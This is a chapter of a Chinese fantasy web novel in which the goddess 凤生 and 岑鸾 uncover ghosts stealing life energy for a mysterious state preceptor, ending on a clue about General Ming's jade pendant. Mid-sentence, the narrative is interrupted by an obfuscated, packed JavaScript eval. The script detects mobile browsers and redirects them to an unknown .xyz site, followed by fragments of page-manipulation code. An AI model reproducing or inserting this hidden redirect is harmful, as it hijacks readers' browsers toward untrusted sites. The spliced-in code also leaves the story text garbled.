41.将军的玉坠

作品:《我在天界当社畜

    回到客栈,薛妄喜出望外迎上来,他觑了一眼岑鸾,笑道:


    “小凤生,你要是再不醒来,这里便是我和赵元再的神陨之地。”


    凤生不好意思地说道:“让薛大哥为我担心了。”


    赵元再道:“薛兄倒还在其次,你若再不醒,某位神尊怕是要犯心疾了。”


    凤生难为情地岔开话题道:“对了,火浣布是何物?那恶僧一直要我交出火浣布。”


    薛妄纳罕地看了一眼岑鸾道:“灶神归位时,帝君没有赐你火浣布么?那是灶神的灵宝,风火雷电不侵,还可净化毒瘴瘟疫,遮蔽神息妖气。”


    岑鸾道:“你封神那日,我不在,后来辟寒珠、不灰木接连出事,我便没将火浣布交予你。”


    薛妄见岑鸾直截了当认下帝君身份,与赵元再交换了一个会心的眼神,薛妄长舒了一口气,心道:总算不必再瞒东瞒西,藏着掖着了。


    凤生恍然道:“火浣布风火雷电不侵……怪不得那恶僧不停用风火雷电攻击我,原来是为了逼我动用火浣布,他好趁机下手,这不是明抢么!”


    “不过,恶僧倒似今日才知我是灶神。我在元再师兄的画舫上,便与他打过照面,水灵大战还与他交过手,那时,我确定他还不识得我。之后,我与他再无往来。是何因由,让他突然知晓我的身份呢?”凤生续道。


    赵元再:“如此说来,有件事,委实有些巧合。”


    凤生:“哦?“


    赵元再:“你在归幽驿被带走后,我与薛兄曾追到冥王大殿,拜会过琼羽殿下,并言明了你的真实身份。”


    薛妄:“也就是说,前脚冥王和阎罗知晓了小凤生是灶神,后脚那和尚便来抢她的火浣布。”


    凤生道:“倘若那恶僧是冥王或阎罗的人,那他通晓三界秘闻掌故,倒也说得通了。”


    岑鸾忽道:“在归幽驿,琼羽何以只带走了你?”


    凤生回忆道:“我也很纳闷,当时,我明明掩去了神息,侍花婢女原说要选十二个,结果,幢灯倒了,引发了大火,我便被琼羽殿下带走了。”


    赵元再道:“我知道了,是因为琬琰。火起时琬琰施放了结界,琼羽殿下想必是认出了琬琰,才将凤生带走。是以,那时他便知凤生是天界的人了。”


    薛妄:“天界九幽井水不犯河水,他为何要对你我隐瞒凤生的去向呢?”


    凤生道:“或许,是因为那个种子的缘故。他想让我继续为他种花。”


    当下,凤生便将琼羽如何让她种花,如何在莫名其妙的状况下,长出一粒种子,随后她又如何驾驭九婴冲破结界,撞见云锦僧人的经历,详说了一遍。


    赵元再奇道:“你是说,你能驾驭冥王殿下的坐骑九婴?”


    凤生点头道:“九婴看似貌丑凶残,其实很温顺听话的。”


    薛妄道:“坐骑都是认过主的,哪是说驾驭便驾驭的,就说咱们帝君的青猗吧,就算元再骑到它背上,也会被它掀翻在地的。”


    凤生道:“九婴似乎知道种子种在哪里能开花,可惜被恶僧一阻拦,没法知道琼羽殿下要种的,究竟是何物了。不过,琼羽殿下那座宅子,应该就在北地,明日我再去探探。”


    赵元再和薛妄对视了一眼,同时说道:“不可!”


    薛妄苦着脸道:“小凤生,你若不想我们两个被打杀,去哪里探探这话,休要再提。”


    赵元再温和道:“重伤初愈,还需多多歇息。”


    凤生赧然地笑了笑,飞快地看了一眼岑鸾,嗫嚅道:“那……明日见。”


    ——


    说来也怪,自受伤后,凤生便时常噩梦缠身。


    梦里,她总是在一个山不生草,涧不流水的地方肆意奔跑,周遭都是一眼望不尽的青灰色石林。


    丹若朝霞的仙草,能够随手划下深渊沟壑的金簪,乖顺快活的九婴,满面痛楚的琼羽殿下……似曾相识的一幕幕,总是迅疾闪过。


    还有一位看不清面目的白衣仙尊,金光莹然,周身染血,她紧紧抱着他,痛不欲生……


    每每一身冷汗地被噩梦魇住,总有一只微凉的手,轻轻拭去她的汗滴和泪珠,恍惚醒来,周遭却又空无一人,愈发让她觉得虚实难辨,亦真亦幻。


    凤生觉得,一定是琼羽那座大宅子在作怪。梦里出现的地方,也是遍地乱石,没有泥土与花草。


    于是,当她再次从梦中惊醒,她便使了个障眼法,表面上,凤生依旧在锦被里熟睡,人却已隐了身形,来到客栈的院子里。


    已接近三更天,院子里却人喧马嘶。


    一队身穿轻甲的斥候,风尘仆仆赶路到此。


    为首的长官是个中年汉子,他利落地翻身下马,嘱咐身边的少年探马道:“谢丞相的书信片刻耽误不得,你速去送信,我等在此等候国师。”


    “谢丞相”三个字,引起了凤生的注意。


    凤生心道:谢运的手可真长,居然伸到了北地。更蹊跷的是,大雍竟有国师?之前倒是没听到一丁点风声。


    凤生跟上那个少年探马,出了客栈。


    刚过客栈拐角,一个精瘦的矮个乞丐,拎着个藕色的革囊,一路尾随着探马,眼看探马出了城,乞丐“嗖”地一下腾空而起,跃到马上,与探马共乘一骑。


    奇怪的是,那探马一无所觉,凤生仔细打量,才发现乞丐的身形相对黯淡,地上的影子,也只有探马一人。


    那乞丐,原来是个幽魂。


    探马一路疾驰,不多时已到了城外。北地人烟稀少,出了城,便是莽莽荒原。


    乞丐举起手中革囊,罩住探马的头脸,革囊充了气般蓦地胀大。


    幽魂这是要害人!凤生刚要现出身形,便被一把拉住,她猛一回头,见来人是同样隐身的薛妄,登时松了口气。


    薛妄道:“那革囊是搐气袋,孤魂野鬼用来收阳气的。”


    凤生道:“原来归幽驿那个老板说的丹曦,便是这样生采的。”


    两人正说着,忽地斜刺里冲出一个身穿铠甲的军士,他轻飘飘跃上马背,同乞丐扭打起来。


    撕扯间,搐气袋掉下马,少年探马一激灵,整个人像是异常困倦,恹恹不振。


    乞丐慌忙跳下马去捡拾搐气袋,军士则小跑着追随着奔马,目不转睛地望着少年探马,满面忧伤凄苦。


    乞丐系紧搐气袋,骂骂咧咧道:“哪来的野鬼,真是晦气,好容易等到一个落单的,还被抢了去。”他拍拍屁股、刚要撒腿开溜,整个人却似提线木


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039195|153638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    偶一般,倒吊在半空中。


    “帝君……”薛妄咕哝了一声,与凤生面面相觑。


    岑鸾扫了凤生一眼,淡声道:“这便是明日见?”


    凤生拉过薛妄道:“我……陪薛大哥,接引幽魂。”


    薛妄只得一挺胸脯,满脸豁出去的表情,点了点头。


    岑鸾负着手,对那乞丐冷然道:“生采活人阳气这勾当,还有多少幽魂在做?”


    乞丐嚎叫道:“神仙饶命!我算是采得少的,能干的,都去军营了,那里人多,阳气重。”


    岑鸾:“采来的阳气,都交给了谁?”


    乞丐道:“小的们只管把搐气袋放到城外山神庙,换取还阳丹,其余一概不知。”


    岑鸾:“你可知这阳气用来做甚?”


    乞丐:“听说是为了给国师开坛作法,护国祈福用的。”


    岑鸾伸指画下符箓,朝乞丐方向随手轻点,符箓便金光一闪,没入乞丐眉心,乞丐身形逐渐变得透明,他伏地跪拜道:“多谢神仙点化,让我重入轮回。”


    薛妄眼见冥使前来拘拿乞丐入地府,自去与冥使核验生死簿。


    凤生对岑鸾小声解释道:“我们住的客栈里,有一队斥候在等那个国师。前边的探马,手里还有丞相谢运的书信,我跟过来,就是想看看,谢运那封信,究竟要送给谁。”


    岑鸾道:“我逗留于此,也是奉了天帝之命,留意凡间异动。你也不必担心旁人说什么。”


    略一沉吟,又道:“北地近日不太平,你跟在我身边便好。”


    凤生福了福道:“是,公子。”


    岑鸾转身道:“还不快跟上。”嘴角微翘,如雕如琢的脸上,闪过一丝不易察觉的浅笑。


    ——


    凤生与岑鸾很快便追上了送信的探马。


    那个兵士的幽魂,一身破败的铠甲,发髻凌乱,满身征尘,他不即不离地跟随着探马,似是不舍,又似相送。


    前方便是乞丐所说的山神庙了,少年探马一拉缰绳,高喊了一声“驭!”,战马停了下来。他翻身下马,在路旁的沙丘里反复踅摸,终是找到一块倒伏在沙土中的瓦片,他用袖口反复擦拭,瓦片上的字迹才算模糊显露——


    长兄阿忠之墓。


    那个兵士的幽魂,看清瓦片上的字,慢慢坐倒在地,肩头耸动,痛心饮泣。


    探马将那瓦片插入沙丘,重新摆正,整了整衣冠,跪倒在地,低声哭道:“哥,阿义来看你了。行军匆忙,没有备得酒菜,只能撮土为香,祭拜你在天之灵。”


    阿义双手扒拢沙土,撮成一堆,双手合十道:“娘得知你走后,双眼已哭瞎,嫂嫂拉扯幼侄已是不易,还要照顾病弱的老娘。哥,你若泉下有知,便托梦告诉我,是谁害了你。”说罢,“咚咚咚”磕了三个响头。


    阿忠涕泪交流地扑上去搀扶弟弟,怎奈,生死相隔,他的双臂紧紧抱住阿义,却像日光穿过林梢,阿义毫无知觉。


    阿忠瞪大双眼,似要瞪出血泪,他嘶声道:“阿义,我死得冤啊,谁拿了明将军的玉坠子,谁就是害死我的凶手!”


    “明绍将军的香玉扇坠?”凤生一怔,对岑鸾道:


    “阿忠所说的玉坠子,在……元再师兄手中。”